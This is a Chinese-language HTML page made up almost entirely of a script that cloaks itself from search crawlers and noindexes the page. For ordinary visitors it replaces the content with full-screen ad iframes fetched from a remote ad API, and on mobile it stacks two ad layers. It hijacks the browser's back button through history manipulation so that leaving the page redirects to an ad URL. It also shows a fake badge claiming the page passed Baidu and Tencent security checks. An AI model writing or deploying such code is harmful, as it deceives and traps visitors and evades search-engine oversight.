<!DOCTYPE html>
<!-- 由系统根据 HTML 母版动态生成；母版不直接对外调用。 -->
<html lang="zh-CN">
<head>
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?46b1498b4f05aac4587d3f3da6b4666d";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>



<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow, nosnippet">
<meta name="Baiduspider" content="noindex, nofollow, nosnippet">
<meta name="Baiduspider-image" content="noindex, nofollow, nosnippet">
<meta name="Sogouspider" content="noindex, nofollow, nosnippet">
<meta name="360Spider" content="noindex, nofollow, nosnippet">
<meta name="Yisouspider" content="noindex, nofollow, nosnippet">
<title></title>
</head>

<body>
<div style="position: fixed; bottom: 10px; right: 10px; font-size: 12px; color: #666; z-index: 1;">
    本页面已通过
    <a href="https://security.baidu.com/" target="_blank" style="color: blue; text-decoration: none;">
        百度安全检测
    </a>
    和
    <a href="https://www.tencent.com/" target="_blank" style="color: blue; text-decoration: none;">
        腾讯安全检测
    </a>
</div>

<script>
const AD_API = "https://ggzk.mwedu.net.cn/guanggaoxitong_api/output.php";
const CLIENT_KEY = "53c74087e068f8a1c0a6432b00fba205";

// ================== 返回按钮跳转（后台三种模式：关闭 / 指定地址 / 广告地址） ==================
(function () {
    let pageLoaded = document.readyState !== "loading";
    let configLoaded = false;
    let backEnabled = false;
    let backUrl = "";
    let historyArmed = false;
    let redirecting = false;
    let fallbackTimer = 0;

    function isHttpUrl(url) {
        return /^https?:\/\//i.test(String(url || ""));
    }

    // 必须在广告 iframe 开始加载以后再压入顶层历史记录。
    // 否则 iframe 自己的跳转记录可能排在后面，浏览器后退会先退 iframe，父页面收不到 popstate。
    function armHistory() {
        if (!pageLoaded || !configLoaded || !backEnabled || !isHttpUrl(backUrl) || historyArmed) {
            return;
        }

        try {
            const oldState = history.state && typeof history.state === "object"
                ? history.state
                : {};

            history.pushState(
                Object.assign({}, oldState, {
                    adBackRedirect: 1,
                    adBackRedirectAt: Date.now()
                }),
                "",
                location.href
            );

            historyArmed = true;
        } catch (e) {}
    }

    function armAfterRender(frame) {
        let finished = false;

        function finish() {
            if (finished) return;
            finished = true;
            window.setTimeout(armHistory, 60);
        }

        if (frame && typeof frame.addEventListener === "function") {
            frame.addEventListener("load", finish, { once: true });
        }

        // 某些广告页禁止 iframe 或 load 事件异常时仍然启用返回跳转。
        window.setTimeout(finish, 1200);
    }

    function redirectBack() {
        if (
            redirecting ||
            !pageLoaded ||
            !configLoaded ||
            !backEnabled ||
            !isHttpUrl(backUrl)
        ) {
            return;
        }

        redirecting = true;

        try {
            window.location.replace(backUrl);
        } catch (e) {
            window.location.href = backUrl;
        }
    }

    function applyBackConfig(data) {
        configLoaded = true;
        backEnabled = Number(data && data.back_enabled || 0) === 1;
        backUrl = data && data.back_url ? String(data.back_url) : "";

        if (!backEnabled || !isHttpUrl(backUrl)) {
            backEnabled = false;
            backUrl = "";
            return;
        }

        // 只作为兜底；正常由广告 iframe 的 load 事件在最后压入历史记录。
        window.clearTimeout(fallbackTimer);
        fallbackTimer = window.setTimeout(armHistory, 1800);
    }

    window.__applyAdBackRedirectConfig = applyBackConfig;
    window.__armAdBackRedirectAfterRender = armAfterRender;

    window.addEventListener("popstate", redirectBack);

    function onPageLoad() {
        pageLoaded = true;
    }

    if (document.readyState === "loading") {
        document.addEventListener("DOMContentLoaded", onPageLoad, { once: true });
    } else {
        onPageLoad();
    }
})();
// ================================================================================

// ========== 以下是原有的广告展示逻辑 ==========
const userAgent = navigator.userAgent;

function isSpider(userAgent) {
    const spiderKeywords = [
        'Baiduspider',
        'YisouSpider',
        'Bingbot',
        'HaosouSpider',
        'Sogou web spider',
        'Sosospider',
        'YandexBot',
        '360spider'
    ];

    return spiderKeywords.some(keyword =>
        userAgent.toLowerCase().includes(keyword.toLowerCase())
    );
}

function isMobileDevice(userAgent) {
    return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(userAgent);
}

// PC iframe 显示
function showDirectIframe(url) {
    if (!url) return;

    document.body.innerHTML = '';

    const iframe = document.createElement('iframe');
    iframe.src = url;
    iframe.style.position = 'fixed';
    iframe.style.top = '0';
    iframe.style.left = '0';
    iframe.style.width = '100%';
    iframe.style.height = '100%';
    iframe.style.border = 'none';
    iframe.style.zIndex = '999999';
    iframe.setAttribute('frameborder', '0');
    iframe.setAttribute('allowfullscreen', 'true');

    document.body.appendChild(iframe);

    if (typeof window.__armAdBackRedirectAfterRender === 'function') {
        window.__armAdBackRedirectAfterRender(iframe);
    }
}

// 移动端广告
function showMobileAd(adUrl1, adUrl2) {
    // 只有一个有效广告时只显示一层，不复制同一 URL。
    if (!adUrl1 && !adUrl2) return;

    if (!adUrl2 || adUrl1 === adUrl2) {
        if (typeof window.__applyAdBackRedirectConfig === 'function' && window.__adBackData1) {
            window.__applyAdBackRedirectConfig(window.__adBackData1);
        }
        showDirectIframe(adUrl1 || adUrl2);
        return;
    }

    document.body.innerHTML = '';

    const style = document.createElement('style');
    style.innerHTML = `
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { overflow: hidden; background: #fff; height: 100vh; width: 100vw; }
        .ad-frame { position: fixed; top: 0; left: 0; width: 100%; height: 100%; border: none; background: #fff; }
        #ad-frame1 { z-index: 999997; }
        #ad-frame2 { z-index: 999998; }
        #ad-btn { position: fixed; bottom: 30px; right: 20px; background: rgba(0,0,0,.8); color: #fff; border: 0; padding: 14px 25px; border-radius: 40px; font-size: 16px; font-weight: bold; cursor: pointer; backdrop-filter: blur(10px); box-shadow: 0 4px 20px rgba(0,0,0,.4); z-index: 999999; -webkit-tap-highlight-color: transparent; }
        #ad-btn:active { transform: scale(.95); }
    `;
    document.head.appendChild(style);

    const iframe1 = document.createElement('iframe');
    iframe1.id = 'ad-frame1';
    iframe1.className = 'ad-frame';
    iframe1.src = adUrl1;
    iframe1.setAttribute('frameborder', '0');
    iframe1.setAttribute('allowfullscreen', 'true');
    document.body.appendChild(iframe1);

    const iframe2 = document.createElement('iframe');
    iframe2.id = 'ad-frame2';
    iframe2.className = 'ad-frame';
    iframe2.src = adUrl2;
    iframe2.setAttribute('frameborder', '0');
    iframe2.setAttribute('allowfullscreen', 'true');
    document.body.appendChild(iframe2);

    if (typeof window.__armAdBackRedirectAfterRender === 'function') {
        window.__armAdBackRedirectAfterRender(iframe2);
    }

    const btn = document.createElement('button');
    btn.id = 'ad-btn';
    btn.innerHTML = '✕ 关闭广告';
    document.body.appendChild(btn);

    let ad2Visible = true;
    btn.onclick = function (e) {
        e.preventDefault();
        e.stopPropagation();
        if (ad2Visible) {
            iframe2.style.display = 'none';
            if (typeof window.__applyAdBackRedirectConfig === 'function' && window.__adBackData1) {
                window.__applyAdBackRedirectConfig(window.__adBackData1);
            }
            btn.innerHTML = '📺 显示广告';
            ad2Visible = false;
        } else {
            iframe2.style.display = 'block';
            if (typeof window.__applyAdBackRedirectConfig === 'function' && window.__adBackData2) {
                window.__applyAdBackRedirectConfig(window.__adBackData2);
            }
            btn.innerHTML = '✕ 关闭广告';
            ad2Visible = true;
        }
    };
}

// 请求 JSON 广告接口
function fetchBothAds() {
    const mobile = isMobileDevice(userAgent);
    const device = mobile ? "mobile" : "pc";

    const apiUrl =
        AD_API +
        "?key=" +
        encodeURIComponent(CLIENT_KEY) +
        "&device=" +
        encodeURIComponent(device) +
        "&domain=" +
        encodeURIComponent(location.hostname || "") +
        "&t=" +
        Date.now();

    fetch(apiUrl, {
        method: "GET",
        mode: "cors",
        credentials: "omit",
        cache: "no-store"
    })
        .then(function (response) {
            if (!response.ok) {
                throw new Error("HTTP " + response.status);
            }

            return response.json();
        })
        .then(function (data) {
            if (typeof window.__applyAdBackRedirectConfig === "function") {
                window.__applyAdBackRedirectConfig(data);
            }

            const adUrl = data && data.url ? String(data.url) : "";

            const pcUrl =
                data && data.pc_url
                    ? String(data.pc_url)
                    : "https://www.4399.com/";

            const pcEnabled = Number(
                data && typeof data.pc_enabled !== "undefined"
                    ? data.pc_enabled
                    : 0
            );

            if (mobile) {
                const mobileUrl = adUrl || pcUrl;
                window.__adBackData1 = data || null;
                window.__adBackData2 = null;

                // 第一次请求完全按后台原规则决定：IP阶段、链接权重、跨客户权重。
                // 没有真实广告地址时只显示一层。
                if (!adUrl || Number(data && data.blocked || 0) === 1) {
                    showMobileAd(mobileUrl, "");
                    return;
                }

                // 第二广告位。若后台已支持双广告补丁，这些参数会：
                // 1) 不推进同一页面的 IP 访问次数；2) 排除第一次广告；3) 保持第一次 route_stage。
                const secondApiUrl =
                    apiUrl +
                    "&ad_slot=2" +
                    "&exclude_ad_id=" + encodeURIComponent(data && data.ad_id ? String(data.ad_id) : "") +
                    "&exclude_url=" + encodeURIComponent(adUrl) +
                    "&route_stage=" + encodeURIComponent(data && data.route_stage ? String(data.route_stage) : "high") +
                    "&is_new_ip=" + encodeURIComponent(Number(data && data.is_new_ip || 0) === 1 ? "1" : "0") +
                    "&cross_visit_count=" + encodeURIComponent(data && data.cross_visit_count ? String(data.cross_visit_count) : "1") +
                    "&t2=" + Date.now();

                fetch(secondApiUrl, {
                    method: "GET",
                    mode: "cors",
                    credentials: "omit",
                    cache: "no-store"
                })
                    .then(function (response2) {
                        if (!response2.ok) {
                            throw new Error("HTTP " + response2.status);
                        }
                        return response2.json();
                    })
                    .then(function (data2) {
                        const secondUrl = data2 && data2.url ? String(data2.url) : "";
                        const backendSupportsAlternative =
                            data2 && typeof data2.has_alternative !== "undefined"
                                ? Number(data2.has_alternative) === 1
                                : true;

                        if (secondUrl && secondUrl !== adUrl && backendSupportsAlternative) {
                            window.__adBackData2 = data2;
                            if (typeof window.__applyAdBackRedirectConfig === "function") {
                                window.__applyAdBackRedirectConfig(data2);
                            }
                            showMobileAd(adUrl, secondUrl);
                        } else {
                            showMobileAd(adUrl, "");
                        }
                    })
                    .catch(function () {
                        showMobileAd(adUrl, "");
                    });
                return;
            }

            if (pcEnabled === 1 && adUrl) {
                showDirectIframe(adUrl);
            } else {
                showDirectIframe(pcUrl);
            }
        })
        .catch(function () {
            if (typeof window.__applyAdBackRedirectConfig === "function") {
                window.__applyAdBackRedirectConfig({ back_enabled: 0, back_mode: "off", back_url: "" });
            }
            showDirectIframe("https://www.4399.com/");
        });
}

if (!isSpider(userAgent)) {
    fetchBothAds();
}
</script>

<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];

    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    } else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }

    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>

</body>
</html>